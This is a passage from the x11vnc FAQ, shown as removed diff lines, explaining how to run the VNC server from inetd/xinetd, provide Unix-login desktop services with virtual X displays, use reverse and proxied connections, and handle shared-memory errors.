- Firewalls: note all methods will require the host-level firewall to be
- configured to allow connections in on a port. E.g. 5900 (default VNC
- port) or 22 (default SSH port for tunnelling VNC.) Most systems these
- days have firewalls turned on by default, so you will actively have to
- do something to poke a hole in the firewall at the desired port
- number. See your system administration tool for Firewall settings
- (Yast, Firestarter, etc.)
-
-
- Q-60: Can I run x11vnc out of inetd(8)? How about xinetd(8)?
-
- Yes, perhaps a line something like this in /etc/inetd.conf will do it
- for you:
-
- 5900 stream tcp nowait root /usr/sbin/tcpd /usr/local/bin/x11vnc_sh
-
- where the shell script /usr/local/bin/x11vnc_sh uses the -inetd option
- and looks something like (you'll need to customize to your settings.)
-#!/bin/sh
-/usr/local/bin/x11vnc -inetd -display :0 -auth /home/fred/.Xauthority \
- -rfbauth /home/fred/.vnc/passwd -o /var/log/x11vnc_sh.log
-
- Important: Note that you must redirect the standard error output to a
- log file (e.g. -o logfile) or "2>/dev/null" for proper operation via
- inetd (otherwise the standard error also goes to the VNC vncviewer,
- and that confuses it greatly, causing it to abort.) If you do not use
- a wrapper script as above but rather call x11vnc directly in
- /etc/inetd.conf and do not redirect stderr to a file, then you must
- specify the -q (aka -quiet) option: "/usr/local/bin/x11vnc -q -inetd
- ...". When you supply both -q and -inet and no "-o logfile" then
- stderr will automatically be closed (to prevent, e.g. library stderr
- messages leaking out to the viewer.) The recommended practice is to
- use "-o logfile" to collect the output in a file or wrapper script
- with "2>logfile" redirection because the errors and warnings printed
- out are very useful in troubleshooting problems.
-
- Note also the need to set XAUTHORITY via -auth to point to the
- MIT-COOKIE auth file to get permission to connect to the X display
- (setting and exporting the XAUTHORITY variable accomplishes the same
- thing.) See the x11vnc_loop file in the previous question for more
- ideas on what that auth file may be, etc. The scheme described in the
- FAQ on Unix user logins and inetd(8) works around the XAUTHORITY issue
- nicely.
-
- Note: On Solaris you cannot have the bare number 5900 in
- /etc/inetd.conf, you'll need to replace it with a word like x11vnc an
- then put something like "x11vnc 5900/tcp" in /etc/services.
-
- Since the process runs as root, it might be a bad idea to have the
- logfile in a world-writable area like /tmp if there are untrustworthy
- users on the machine. Perhaps /var/log is a better place.
-
- Be sure to look at your /etc/hosts.allow and /etc/hosts.deny settings
- to limit the machines that can connect to this service (your desktop!)
- For the above example with /etc/hosts.allow:
- x11vnc_sh : 123.45.67.89
-
- A really safe way to do things is to limit the above inetd to
- localhost only (via /etc/hosts.allow) and use ssh to tunnel the
- incoming connection. Using inetd for this prevents there being a tiny
- window of opportunity between x11vnc starting up and your vncviewer
- connecting to it. Always use a VNC password to further protect against
- unwanted access.
-
- For xinetd(8), one user reports he created the file
- /etc/xinetd.d/x11vncservice containing the following:
-# default: off
-# description:
-service x11vncservice
-{
- flags = REUSE NAMEINARGS
- port = 5900
- type = UNLISTED
- socket_type = stream
- protocol = tcp
- wait = no
- user = root
- server = /usr/sbin/tcpd
- server_args = /usr/local/bin/x11vnc_sh
- disable = no
-}
-
- With the contents of /usr/local/bin/x11vnc_sh similar to the example
- given above. One user reports this works with avoiding the wrapper
- script:
-service x11vncservice
-{
- port = 5900
- type = UNLISTED
- socket_type = stream
- protocol = tcp
- wait = no
- user = root
- server = /usr/local/bin/x11vnc
- server_args = -inetd -q -display :0 -auth /var/gdm/:0.Xauth
- disable = no
-}
-
- (or one can replace the -q with say "-o /var/log/x11vnc.log" to
- capture a log)
-
- The above works nicely for GDM because the -auth file is a fixed name.
- For KDM or XDM the filename varies. Here is one idea for a x11vnc_sh
- wrapper to try to guess the name:
-#!/bin/sh
-COLUMNS=256
-export COLUMNS
-authfile=`ps wwaux | grep '/X.*-auth' | grep -v grep | sed -e 's/^.*-auth *//'
--e 's/ .*$//' | head -n 1`
-
-if [ -r "$authfile" ]; then
- exec /usr/local/bin/x11vnc -inetd -o /var/log/x11vnc.log -display :0 -a
-uth "$authfile"
-fi
-exit 1
-
- Starting with x11vnc 0.9.3 this can be automated by:
-#!/bin/sh
-exec /usr/local/bin/x11vnc -inetd -o /var/log/x11vnc.log -find -env FD_XDM=1
-
-
- Q-61: Can I have x11vnc advertise its VNC service and port via mDNS /
- Zeroconf (e.g. Avahi) so VNC viewers on the local network can detect
- it automatically?
-
- Yes, as of Feb/2007 x11vnc supports mDNS / Zeroconf advertising of its
- service via the Avahi client library. Use the option -avahi (same as
- -mdns or -zeroconf) to enable it. Depending on your setup you may need
- to install Avahi (including the development/build packages), enable
- the server: avahi-daemon and avahi-dnsconfd, and possibly open up UDP
- port 5353 on your firewall.
-
- If the Avahi client library or build environment is not available at
- build-time, then at run-time x11vnc will try to look for external
- helper programs, avahi-browse(1) or dns-sd(1), to do the work.
-
- The service was tested with Chicken of the VNC ("Use Bonjour"
- selected) on a Mac on the same network and the service was noted and
- listed in the servers list. Clicking on it and then "Connect"
- connected automatically w/o having to enter any hostnames or port
- numbers.
-
- It appears SuSE 10.1 comes with avahi (or you can add packages, e.g.
- avahi-0.6.5-27) but not the development package (you can use the
- OpenSuSE avahi-devel rpm.) Unfortunately, you may need to disable
- another Zeroconf daemon "/etc/init.d/mdnsd stop", before doing
- "/etc/init.d/avahi-daemon start" and "/etc/init.d/avahi-dnsconfd
- start". We also had to comment out the browse-domains line in
- /etc/avahi/avahi-daemon.conf. Hopefully there is "LessConf" to do on
- other distros/OS's...
-
-
- Q-62: Can I have x11vnc allow a user to log in with her UNIX username
- and password and then have it find her X session display on that
- machine and then attach to it? How about starting an X session if one
- cannot be found?
-
- The easiest way to do this is via inetd(8) using the -unixpw and
- -display WAIT options. The reason inetd(8) makes this easier is that
- it starts a new x11vnc process for each new user connection. Otherwise
- a wrapper would have to listen for connections and spawn new x11vnc's
- (see this example and also the -loopbg option.) inetd(8) is not
- required for this, but it makes some aspects more general.
-
- Also with inetd(8) users always connect to a fixed VNC display, say
- hostname:0, and do not need to memorize a special VNC display number
- just for their personal use, etc.
-
- Update: Use the -find, -create, -svc, and -xdmsvc options that are
- shorthand for common FINDCREATEDISPLAY usage modes (e.g. terminal
- services) described below. (i.e. simply use "-svc" instead of the
- cumbersome "-display WAIT:cmd=FINDCREATEDISPLAY-Xvfb -unixpw -users
- unixpw= -ssl SAVE")
-
- The -display WAIT option makes x11vnc wait until a VNC viewer is
- connected before attaching to the X display.
-
- Additionally it can be used to run an external command that returns
- the DISPLAY and XAUTHORITY data. We provide some useful builtin ones
- (FINDDISPLAY and FINDCREATEDISPLAY below), but in principle one could
- supply his own script: "-display WAIT:cmd=/path/to/find_display" where
- the script find_display might look something like this.
-
- A default script somewhat like the above is used under "-display
- WAIT:cmd=FINDDISPLAY" (same as -find) The format for any such command
- is that it returns DISPLAY=:disp as the first line and any remaining
- lines are either XAUTHORITY=file or raw xauth data (the above example
- does the latter.) If applicable (-unixpw mode), the program is run as
- the Unix user name who logged in.
-
- On Linux if the virtual terminal is known the program appends ",VT=n"
- to the DISPLAY line; a chvt n will be attempted automatically. Or if
- only the X server process ID is known it appends ",XPID=n" (a chvt
- will be attempted by x11vnc.)
-
- Tip: Note that the -find option is an alias for "-display
- WAIT:cmd=FINDDISPLAY". Use it!
-
- The -unixpw option allows UNIX password logins. It conveniently knows
- the Unix username whose X display should be found. Here are a couple
- /etc/inetd.conf examples of this usage:
-5900 stream tcp nowait nobody /usr/sbin/tcpd /usr/local/bin/x11vnc -inetd
--unixpw \
- -find -o /var/log/x11vnc.log -ssl SAVE -ssldir /usr/local/certs
-5900 stream tcp nowait root /usr/sbin/tcpd /usr/local/bin/x11vnc -inetd
--unixpw \
- -find -o /var/log/x11vnc.log -ssl SAVE -users unixpw=
-
- Note we have used the -find alias and the very long lines have been
- split. An alternative is to use a wrapper script, e.g.
- /usr/local/bin/x11vnc.sh that has all of the options. (see also the
- -svc alias.)
-
- In the first inetd line x11vnc is run as user "nobody" and stays user
- nobody during the whole session. The permissions of the log files and
- certs directory will need to be set up to allow "nobody" to use them.
-
- In the second one x11vnc is run as root and switches to the user that
- logs in due to the "-users unixpw=" option.
-
- Note that SSL is required for this mode because otherwise the Unix
- password would be passed in clear text over the network. In general
- -unixpw is not required for this sort of scheme, but it is convenient
- because it determines exactly who the Unix user is whose display
- should be sought. Otherwise the find_display script would have to use
- some method to work out DISPLAY, XAUTHORITY, etc (perhaps you use
- multiple inetd ports and hardwire usernames for different ports.)
-
- If you really want to disable the SSL or SSH -localhost constraints
- (this is not recommended unless you really know what you are doing:
- Unix passwords sent in clear text is a very bad idea...) read the
- -unixpw documentation.
-
- A inetd(8) scheme for a fixed user that doesn't use SSL or unix
- passwds could be:
- /usr/local/bin/x11vnc -inetd -users =fred -find -rfbauth /home/fred/.vnc/pass
-wd -o /var/log/x11vnc.log
-
- The "-users =fred" option will cause x11vnc to switch to user fred and
- then find his X display. The VNC password (-rfbauth) as opposed to
- Unix password (-unixpw) is used to authenticate the VNC client.
-
- Similar looking commands to the above examples can be run directly and
- do not use inetd (just remove the -inetd option and run from the
- cmdline, etc.)
-
-
- X Session Creation: An added (Nov/2006) extension to FINDDISPLAY is
- FINDCREATEDISPLAY where if it does not find an X display via the
- FINDDISPLAY method it will create an X server session for the user
- (i.e. desktop/terminal server.) This is the only time x11vnc actually
- tries to start up an X server (normally it just attaches to an
- existing one.)
-
- For virtual sessions you will need to install the Xvfb program (e.g.
- apt-get install xvfb) or our Xdummy program (see below.)
-
- By default it will only try to start up virtual (non-hardware) X
- servers: first Xvfb and if that is not available then Xdummy (included
- in the x11vnc source code.) Note that Xdummy only works on Linux
- whereas Xvfb works just about everywhere (and in some situations
- Xdummy must be run as root.) An advantage of Xdummy over Xvfb is that
- Xdummy supports RANDR dynamic screen resizing, which can be handy if
- the user accesses the desktop from different sized screens (e.g.
- workstation and laptop.)
-
- So an inetd(8) example might look like:
-5900 stream tcp nowait root /usr/sbin/tcpd /usr/local/bin/x11vnc -inetd \
- -o /var/log/x11vnc.log -http -prog /usr/local/bin/x11vnc \
- -ssl SAVE -unixpw -users unixpw= -display WAIT:cmd=FINDCREATEDISPLAY
-
- Where the very long lines have been split. See below where that long
- and cumbersome last line is replaced by the -svc alias.
-
- The above mode will allow direct SSL (e.g. ss_vncviewer or SSVNC)
- access and also Java Web browers access via: https://hostname:5900/.
-
- Tip: Note that the -create option is an alias for "-display
- WAIT:cmd=FINDCREATEDISPLAY-Xvfb".
-
- Tip: Note that -svc is a short hand for the long "-ssl SAVE -unixpw
- -users unixpw= -display WAIT:cmd=FINDCREATEDISPLAY" part. Unlike
- -create, this alias also sets up SSL encryption and Unix password
- login.
-
- The above inetd example then simplifies to:
-5900 stream tcp nowait root /usr/sbin/tcpd /usr/local/bin/x11vnc -inetd \
- -o /var/log/x11vnc.log -http -prog /usr/local/bin/x11vnc \
- -svc
-
- Tip: In addition to the usual unixpw parameters, inside the VNC viewer
- the user can specify after his username (following a ":" see -display
- WAIT for details) for FINDCREATEDISPLAY they can add "geom=WxH" or
- "geom=WxHxD" to specify the width, height, and optionally the color
- depth. E.g. "fred:geom=800x600" at the login: prompt. Also if the env.
- var X11VNC_CREATE_GEOM is set to the desired WxH or WxHxD that will be
- used by x11vnc.
-
- You can set the env. var X11VNC_SKIP_DISPLAY to a comma separated list
- of displays to ignore in the FINDDISPLAY process (to force creation of
- new displays in some cases.) The user logging in via the vncviewer can
- also set this via username:nodisplay=...)
-
- If you do not plan on using the Java Web browser applet you can remove
- the -http (and -prog) option since this will speed up logging-in by a
- few seconds (x11vnc will not have to wait to see if a connection is
- HTTPS or VNC.)
-
- For reference, xinetd format in the file, say, /etc/xinetd.d/x11vnc:
-service x11vnc
-{
- type = UNLISTED
- port = 5900
- socket_type = stream
- protocol = tcp
- wait = no
- user = root
- server = /usr/local/bin/x11vnc
- server_args = -inetd -o /var/log/x11vnc.log -http -prog /usr/local/
-bin/x11vnc -svc
- disable = no
-}
-
- To print out the script in this case use "-display
- WAIT:cmd=FINDCREATEDISPLAY-print". To change the preference of
- Xservers and which to try list them, e.g.: "-display
- WAIT:cmd=FINDCREATEDISPLAY-X,Xvfb,Xdummy" or use "-create_xsrv
- X,Xvfb,Xdummy". The "X" one means to try to start up a real, hardware
- X server, e.g. startx(1) (if there is already a real X server running
- this may only work on Linux and the chvt program may need to be run to
- switch to the correct Linux virtual terminal.) x11vnc will try to run
- chvt automatically if it can determine which VT should be switched to.
-
- XDM/GDM/KDM Login Greeter Panel: If you want to present the user with
- a xdm/gdm/kdm display manager "greeter" login you can use Xvfb.xdmcp
- instead of Xvfb, etc in the above list. However, you need to configure
- xdm/gdm/kdm to accept localhost XDMCP messages, this can be done by
- (from -help output):
- If you want the FINDCREATEDISPLAY session to contact an XDMCP login
- manager (xdm/gdm/kdm) on the same machine, then use "Xvfb.xdmcp"
- instead of "Xvfb", etc. The user will have to supply his username
- and password one more time (but he gets to select his desktop
- type so that can be useful.) For this to work, you will need to
- enable localhost XDMCP (udp port 177) for the display manager.
- This seems to be:
-
- for gdm in gdm.conf: Enable=true in section [xdmcp]
- for kdm in kdmrc: Enable=true in section [Xdmcp]
- for xdm in xdm-config: DisplayManager.requestPort: 177
-
- Unless you are also providing XDMCP service to xterminals or other
- machines, make sure that the host access list only allows local
- connections (the name of this file is often Xaccess and it is usually
- setup by default to do just that.) Nowadays, host level firewalling
- will also typically block UDP (port 177 for XDMCP) by default
- effectively limiting the UDP connections to localhost.
-
- Tip: Note that -xdmsvc is a short hand alias for the long "-ssl SAVE
- -unixpw -users unixpw= -display
- WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp". So we simply use:
-service x11vnc
-{
- type = UNLISTED
- port = 5900
- socket_type = stream
- protocol = tcp
- wait = no
- user = root
- server = /usr/local/bin/x11vnc
- server_args = -inetd -o /var/log/x11vnc.log -xdmsvc
- disable = no
-}
-
- (Note: use "-svc" instead of "-xdmsvc" for no XDMCP login greeter.)
-
-
- Local access (VNC Server and VNC Viewer on the same machine): To
- access your virtual X display session locally (i.e. while sitting at
- the same machine it is running on) one can perhaps have something like
- this in their $HOME/.xinitrc
-#!/bin/sh
-x11vnc -create -rfbport 5905 -env WAITBG=1
-vncviewer -geometry +0+0 -encodings raw -passwd $HOME/.vnc/passwd localhost:5
-
- You may not need the -passwd. Recent RealVNC viewers might be this:
-#!/bin/sh
-x11vnc -create -rfbport 5905 -env WAITBG=1
-vncviewer -FullScreen -PreferredEncoding raw -passwd $HOME/.vnc/passwd localhos
-t:5
-
- This way a bare X server is run with no window manager or desktop; it
- simply runs only the VNC Viewer on the real X server. The Viewer then
- draws the virtual X session on to the real one. On your system it
- might not be $HOME/.xinitrc, but rather .xsession, .Xclients, or
- something else. You will need to figure out what it is for your system
- and configuration.
-
- There may be a problem if the resolution (WxH) of the virtual X
- display does not match that of the physical X display.
-
- If you do not want to or cannot figure out the X startup script name
- (.xinitrc, etc) you could save the above commands to a shell script,
- say "vnclocal", and the log in via the normal KDM or GDM greeter
- program using the "Failsafe" option. Then in the lone xterm that comes
- up type "vnclocal" to connect to your virtual X display via x11vnc and
- vncviewer.
-
- _________________________________________________________________
-
- Summary: The "-display WAIT:cmd=FINDCREATEDISPLAY" scheme can be used
- to provide a "desktop service" (i.e. terminal service) on the server
- machine: you always get some desktop there, either a real hardware X
- server or a virtual one (depending on how you set things up.)
-
- So it provides simple "terminal services" based on Unix username and
- password. The created X server sessions (virtual or real hardware)
- will remain running after you disconnect the VNC viewer and will be
- found again on reconnecting via VNC and logging in. To terminate them
- use the normal way to Exit/LogOut from inside your X session. The user
- does not have to memorize which VNC display number is his. They all go
- the same one (e.g. hostname:0) and it switches based on username.
-
-
- Q-63: Can I have x11vnc restart itself after it terminates?
-
- One could do this in a shell script, but now there is an option -loop
- that makes it easier. Of course when x11vnc restarts it needs to have
- permissions to connect to the (potentially new) X display. This mode
- could be useful if the X server restarts often. Use e.g. "-loop5000"
- to sleep 5000 ms between restarts. Also "-loop2000,5" to sleep 2000 ms
- and only restart 5 times.
-
- One can also use the -loopbg to emulate inetd(8) to some degree, where
- each connected process runs in the background. It could be combined,
- say, with the -svc option to provide simple terminal services without
- using inetd(8).
-
-
- Q-64: How do I make x11vnc work with the Java VNC viewer applet in a
- web browser?
-
- To have x11vnc serve up a Java VNC viewer applet to any web browsers
- that connect to it, run x11vnc with this option:
- -httpdir /path/to/the/java/classes/dir
-
- (this directory will contain the files index.vnc and, for example,
- VncViewer.jar) Note that libvncserver contains the TightVNC Java
- classes jar file for your convenience. (it is the file
- classes/VncViewer.jar in the source tree.)
-
- You will see output something like this:
- 14/05/2004 11:13:56 Autoprobing selected port 5900
- 14/05/2004 11:13:56 Listening for HTTP connections on TCP port 5800
- 14/05/2004 11:13:56 URL http://walnut:5800
- 14/05/2004 11:13:56 screen setup finished.
- 14/05/2004 11:13:56 The VNC desktop is walnut:0
- PORT=5900
-
- then you can connect to that URL with any Java enabled browser. Feel
- free to customize the default index.vnc file in the classes directory.
-
- As of May/2005 the -http option will try to guess where the Java
- classes jar file is by looking in expected locations and ones relative
- to the x11vnc binary.
-
- Also note that if you wanted to, you could also start the Java viewer
- entirely from the viewer-side by having the jar file there and using
- either the java or appletviewer commands to run the program.
- java -cp ./VncViewer.jar VncViewer HOST far-away.east PORT 5900
-
- Proxies: See the discussion here if the web browser must use a web
- proxy to connect to the internet. It is tricky to get Java applets to
- work in this case: a signed applet must be used so it can connect to
- the proxy and ask for the redirection to the VNC server. One way to do
- this is to use the signed SSL one referred to in classes/ssl/proxy.vnc
- and set disableSSL=yes (note that this has no encryption; please use
- SSL or SSH as discuss elsewhere on this page) in the URL or the file.
-
-
- Q-65: Are reverse connections (i.e. the VNC server connecting to the
- VNC viewer) using "vncviewer -listen" and vncconnect(1) supported?
-
- As of Mar/2004 x11vnc supports reverse connections. On Unix one starts
- the VNC viewer in listen mode: "vncviewer -listen" (see your
- documentation for Windows, etc), and then starts up x11vnc with the
- -connect option. To connect immediately at x11vnc startup time use the
- "-connect host:port" option (use commas for a list of hosts to connect
- to.) The ":port" is optional (default is VNC listening port is 5500.)
-
- If a file is specified instead: -connect /path/to/some/file then that
- file is checked periodically (about once a second) for new hosts to
- connect to.
-
- The -remote control option (aka -R) can also be used to do this during
- an active x11vnc session, e.g.:
-x11vnc -display :0 -R connect:hostname.domain
-
- Use the "-connect_or_exit" option to have x11vnc exit if the reverse
- connection fails. Also, note the "-rfbport 0" option disables TCP
- listening for connections (potentially useful for reverse connection
- mode, assuming you do not want any "forward" connections.)
-
- Note that as of Mar/2006 x11vnc requires password authentication for
- reverse connections as well as for forward ones (assuming password
- auth has been enabled, e.g. via -rfbauth, -passwdfile, etc.) Many VNC
- servers do not require any password for reverse connections. To regain
- the old behavior supply this option "-env
- X11VNC_REVERSE_CONNECTION_NO_AUTH=1" to x11vnc.
-
- Vncconnect command: To use the vncconnect(1) program (from the core
- VNC package at www.realvnc.com) specify the -vncconnect option to
- x11vnc (Note: as of Dec/2004 -vncconnect is now the default.)
- vncconnect(1) must be pointed to the same X11 DISPLAY as x11vnc (since
- it uses X properties to communicate with x11vnc.) If you do not have
- or do not want to get the vncconnect(1) program, the following script
- (named "Vncconnect") may work if your xprop(1) supports the -set
- option:
-#!/bin/sh
-# usage: Vncconnect <host>
-# Vncconnect <host:port>
-# note: not all xprop(1) support -set.
-#
-xprop -root -f VNC_CONNECT 8s -set VNC_CONNECT "$1"
-
-
- Q-66: Can reverse connections be made to go through a Web or SOCKS
- proxy or SSH?
-
- Yes, as of Oct/2007 x11vnc supports reverse connections through
- proxies: use the "-proxy host:port" option. The default is to assume
- the proxy is a Web proxy. Note that most Web proxies only allow proxy
- destination connections to ports 443 (HTTPS) and 563 (SNEWS) and so
- this might not be too useful unless the proxy has been modified
- (AllowCONNECT apache setting) or the VNC viewer listens on one of
- those ports (or the router does a port redir.) A web proxy may also be
- specified via "-proxy http://host:port"
-
- For SOCKS4 and SOCKS4a proxies use this format "-proxy
- socks://host:port". If the reverse connection hostname is a numerical
- IP or "localhost" then SOCKS4 (no host lookup) is used, otherwise
- SOCKS4a will be used. For SOCKS5 (proxy will do lookup and many other
- things) use "-proxy socks5://host:port". Note that the SSH builtin
- SOCKS proxy "ssh -D port" only does SOCKS4 or SOCKS5, so use socks5://
- for a ssh -D proxy.
-
- The proxying works for both SSL encrypted and normal reverse
- connections.
-
- An experimental mode is "-proxy http://host:port/..." where the URL
- (e.g. a CGI script) is retrieved via the GET method. See -proxy for
- more info.
-
- Another experimental mode is "-proxy ssh://user@host" in which case a
- SSH tunnel is used for the proxying. See -proxy for more info.
-
- Up to 3 proxies may be chained together by listing them by commas
- e.g.: "-proxy http://host1:port1,socks5://host2:port2" in case one
- needs to ricochet off of several machines to ultimately reach the
- listening viewer.
-
-
- Q-67: Can x11vnc provide a multi-user desktop web login service as an
- Apache CGI or PHP script?
- Yes. See the example script desktop.cgi for ideas. It is in the source
- tree in the directory x11vnc/misc. It serves x11vnc's SSL enabled Java
- Applet to the web browser with the correct connection information for
- the user's virtual desktop (an Xvfb session via -create; be sure to
- add the Xvfb package.) HTTPS/SSL enabled Apache should be used to
- serve the script to avoid unix and vnc passwords from being sent in
- cleartext and sniffed.
-
- By default it uses a separate VNC port for each user desktop (either
- by autoprobing in a range of ports or using a port based on the userid
- number.) The web server's firewall must allow incoming connections to
- these ports.
-
- It is somewhat difficult to do all of this with x11vnc listening on a
- single port, however there is also a 'fixed port' scheme described in
- the script based on -loopbg that works fairly well (but more
- experience is needed to see what problems contention for the same port
- causes; however at worst one user may need to re-login.)
-
- There is also an optional 'port redirection' mode for desktop.cgi that
- allows redirection to other machines inside the firewall already
- running SSL enabled VNC servers. This provides much of the
- functionality as the SSL Portal and is easier to set up.
-
-
- Q-68: Can I use x11vnc as a replacement for Xvnc? (i.e. not for a real
- display, but for a virtual one I keep around.)
-
- You can, but you would not be doing this for performance reasons (for
- virtual X sessions via VNC, Xvnc should give the fastest response.)
- You may want to do this because Xvnc is buggy and crashes, does not
- support an X server extension you desire, or you want to take
- advantage of one of x11vnc's unending number of options and features.
-
- One way to achieve this is to have a Xvfb(1) virtual framebuffer X
- server running in the background and have x11vnc attached to it.
- Another method, faster and more accurate, is to use the "dummy" Device
- Driver in XFree86/Xorg (see below.)
-
- For these virtual sessions you will need to install the Xvfb program
- (e.g. apt-get install xvfb) or our Xdummy program (see below.)
-
- In either case, one can view this desktop both remotely and also
- locally using vncviewer. Make sure vncviewer's "-encodings raw" is in
- effect for local viewing (compression seems to slow things down
- locally.) For local viewing you set up a "bare" window manager that
- just starts up vncviewer and nothing else (See how below.)
-
- Here is one way to start up Xvfb:
- xinit -- /usr/bin/Xvfb :1 -cc 4 -screen 0 1024x768x16
-
- This starts up a 16bpp virtual display. To export it via VNC use
- x11vnc -display :1 ...
-
- Then have the remote vncviewer attach to x11vnc's VNC display (e.g. :0
- which is port 5900.)
-
- The "-cc 4" Xvfb option is to force it to use a TrueColor visual
- instead of DirectColor (this works around a recent bug in the Xorg
- Xvfb server.)
-
- One good thing about Xvfb is that the virtual framebuffer exists in
- main memory (rather than in the video hardware), and so x11vnc can
- "screen scrape" it very efficiently (more than, say, 100X faster than
- normal video hardware.)
-
- Update Nov/2006: See the FINDCREATEDISPLAY discussion of the "-display
- WAIT:cmd=FINDDISPLAY" option where virtual (Xvfb or Xdummy, or even
- real ones by changing an option) X servers are started automatically
- for new users connecting. This provides a "desktop service" for the
- machine. You either get your real X session or your virtual
- (Xvfb/Xdummy) one whenever you connect to the machine (inetd(8) is a
- nice way to provide this service.) The -find, -create, -svc, and
- -xdmsvc aliases can also come in handy here.
-
- There are some annoyances WRT Xvfb however. The default keyboard
- mapping seems to be very poor. One should run x11vnc with -add_keysyms
- option to have keysyms added automatically. Also, to add the Shift_R
- and Control_R modifiers something like this is needed:
-#!/bin/sh
-xmodmap -e "keycode any = Shift_R"
-xmodmap -e "add Shift = Shift_L Shift_R"
-xmodmap -e "keycode any = Control_R"
-xmodmap -e "add Control = Control_L Control_R"
-xmodmap -e "keycode any = Alt_L"
-xmodmap -e "keycode any = Alt_R"
-xmodmap -e "keycode any = Meta_L"
-xmodmap -e "add Mod1 = Alt_L Alt_R Meta_L"
-
- (note: these are applied automatically in the FINDCREATEDISPLAY mode
- of x11vnc.) Perhaps the Xvfb options -xkbdb or -xkbmap could be used
- to get a better default keyboard mapping...
-
- Dummy Driver: A user points out a faster and more accurate method is
- to use the "dummy" Device Driver of XFree86/Xorg instead of Xvfb. He
- uses this to create a persistent and resizable desktop accessible from
- anywhere. In the Device Section of the config file set Driver "dummy".
- You may also need to set VideoRam NNN to be large enough to hold the
- framebuffer. The framebuffer is kept in main memory like Xvfb except
- that the server code is closely correlated with the real XFree86/Xorg
- Xserver unlike Xvfb.
-
- The main drawback to this method (besides requiring extra
- configuration and possibly root permission) is that it also does the
- Linux Virtual Console/Terminal (VC/VT) switching even though it does
- not need to (since it doesn't use a real framebuffer.) There are some
- "dual headed" (actually multi-headed/multi-user) patches to the X
- server that turn off the VT usage in the X server. Update: As of
- Jul/2005 we have an LD_PRELOAD script Xdummy that allows you to use a
- stock (i.e. unpatched) Xorg or XFree86 server with the "dummy" driver
- and not have any VT switching problems! An advantage of Xdummy over
- Xvfb is that Xdummy supports RANDR dynamic screen resizing.
-
- The standard way to start the "dummy" driver would be:
-startx -- :1 -config /etc/X11/xorg.conf.dummy
-
- where the file /etc/X11/xorg.conf.dummy has its Device Section
- modified as described above. To use the LD_PRELOAD wrapper script:
-startx -- /path/to/Xdummy :1
-
- An xdm(1) example is also provided.
-
- In general, one can use these sorts of schemes to use x11vnc to export
- other virtual X sessions, say Xnest or even Xvnc itself (useful for
- testing x11vnc.)
-
- Local access (VNC Server and VNC Viewer on the same machine): You use
- a VNC viewer to access the display remotely; to access your virtual X
- display locally (i.e. while sitting at the same machine it is running
- on) one can perhaps have something like this in their $HOME/.xinitrc
-#!/bin/sh
-x11vnc -display :5 -rfbport 5905 -bg
-vncviewer -geometry +0+0 -encodings raw -passwd $HOME/.vnc/passwd localhost:5
-
- The display numbers (VNC and X) will likely be different (you could
- also try -find), and you may not need the -passwd. Recent RealVNC
- viewers might be this:
-#!/bin/sh
-x11vnc -display :5 -rfbport 5905 -bg
-vncviewer -FullScreen -PreferredEncoding raw -passwd $HOME/.vnc/passwd localhos
-t:5
-
- This way a bare X server is run with no window manager or desktop; it
- simply runs only the VNC Viewer on the real X server. The Viewer then
- draws the virtual X session on to the real one. On your system it
- might not be $HOME/.xinitrc, but rather .xsession, .Xclients, or
- something else. You will need to figure out what it is for your system
- and configuration.
-
-
- XDM/GDM/KDM One-Shot X sessions: For the general replacement of Xvnc
- by Xvfb+x11vnc, one user describes a similar setup he created where
- the X sessions are one-shot's (destroyed after the vncviewer
- disconnects) and it uses the XDM/GDM/KDM login greeter here.
-
-
- Q-69: How can I use x11vnc on "headless" machines? Why might I want
- to?
-
- An interesting application of x11vnc is to let it export displays of
- "headless" machines. For example, you may have some lab or server
- machines with no keyboard, mouse, or monitor, but each one still has a
- video card. One can use x11vnc to provide a simple "desktop service"
- from these server machines.
-
- An X server can be started on the headless machine (sometimes this
- requires configuring the X server to not fail if it cannot detect a
- keyboard or mouse, see the next paragraph.) Then you can export that X
- display via x11vnc (e.g. see this FAQ) and access it from anywhere on
- the network via a VNC viewer.
-
- Some tips on getting X servers to start on machines without keyboard
- or mouse: For XFree86/Xorg the Option "AllowMouseOpenFail" "true"
- "ServerFlags" config file option is useful. On Solaris Xsun the
- +nkeyboard and +nmouse options are useful (put them in the server
- command line args in /etc/dt/config/Xservers.) There are patches
- available for Xsun at lease back to Solaris 8 that support this. See
- Xserver(1) for more info.
-
- Although this usage may sound strange it can be quite useful for a GUI
- (or other) testing or QA setups: the engineers do not need to walk to
- lab machines running different hardware, OS's, versions, etc (or have
- many different machines in their office.) They just connect to the
- various test machines over the network via VNC. The advantage to
- testing this way instead of using Xvnc or even Xvfb is that the test
- is done using the real X server, fonts, video hardware, etc. that will
- be used in the field.
-
- One can imagine a single server machine crammed with as many video
- cards as it can hold to provide multiple simultaneous access or
- testing on different kinds of video hardware.
-
- See also the FINDCREATEDISPLAY discussion of the "-display
- WAIT:cmd=FINDDISPLAY" option where virtual Xvfb or Xdummy, or real X
- servers are started automatically for new users connecting. The -find,
- -create, -svc, and -xdmsvc aliases can also come in handy here.
-
- [Resource Usage and Performance]
-
- Q-70: I have lots of memory, but why does x11vnc fail with shmget:
- No space left on device or Minor opcode of failed request: 1
- (X_ShmAttach)?
-
- It is not a matter of free memory, but rather free shared memory (shm)
- slots, also known as shm segments. This often occurs on a public
- Solaris machine using the default of only 100 slots. You (or the owner
- or root) can clean them out with ipcrm(1). x11vnc tries hard to
- release its slots, but it, and other programs, are not always able to
- (e.g. if kill -9'd.)
-
- Sometimes x11vnc will notice the problem with shm segments and tries
- to get by with fewer, only giving a warning like this:
- 19/03/2004 10:10:58 shmat(tile_row) failed.
- shmat: Too many open files
- 19/03/2004 10:10:58 error creating tile-row shm for len=4
- 19/03/2004 10:10:58 reverting to single_copytile mode
-
- Here is a shell script shm_clear to list and prompt for removal of
- your unattached shm segments (attached ones are skipped.) I use it
- while debugging x11vnc (I use "shm_clear -y" to assume "yes" for each
- prompt.) If x11vnc is regularly not cleaning up its shm segments,
- please contact me so we can work to improve the situation.
-
- Longer term, on Solaris you can put something like this in
- /etc/system:
- set shmsys:shminfo_shmmax = 0x2000000
- set shmsys:shminfo_shmmni = 0x1000
-
- to sweep the problem under the rug (4096 slots.) On Linux, examine
- /proc/sys/kernel/shmmni; you can modify the value by writing to that
- file.
-
- Things are even more tight on Solaris 8 and earlier, there is a
- default maximum number of shm segments per process of 6. The error is
- the X server (not x11vnc) being unable to attach to the segments, and
- looks something like this:
- 30/04/2004 14:04:26 Got connection from client 192.168.1.23
- 30/04/2004 14:04:26 other clients:
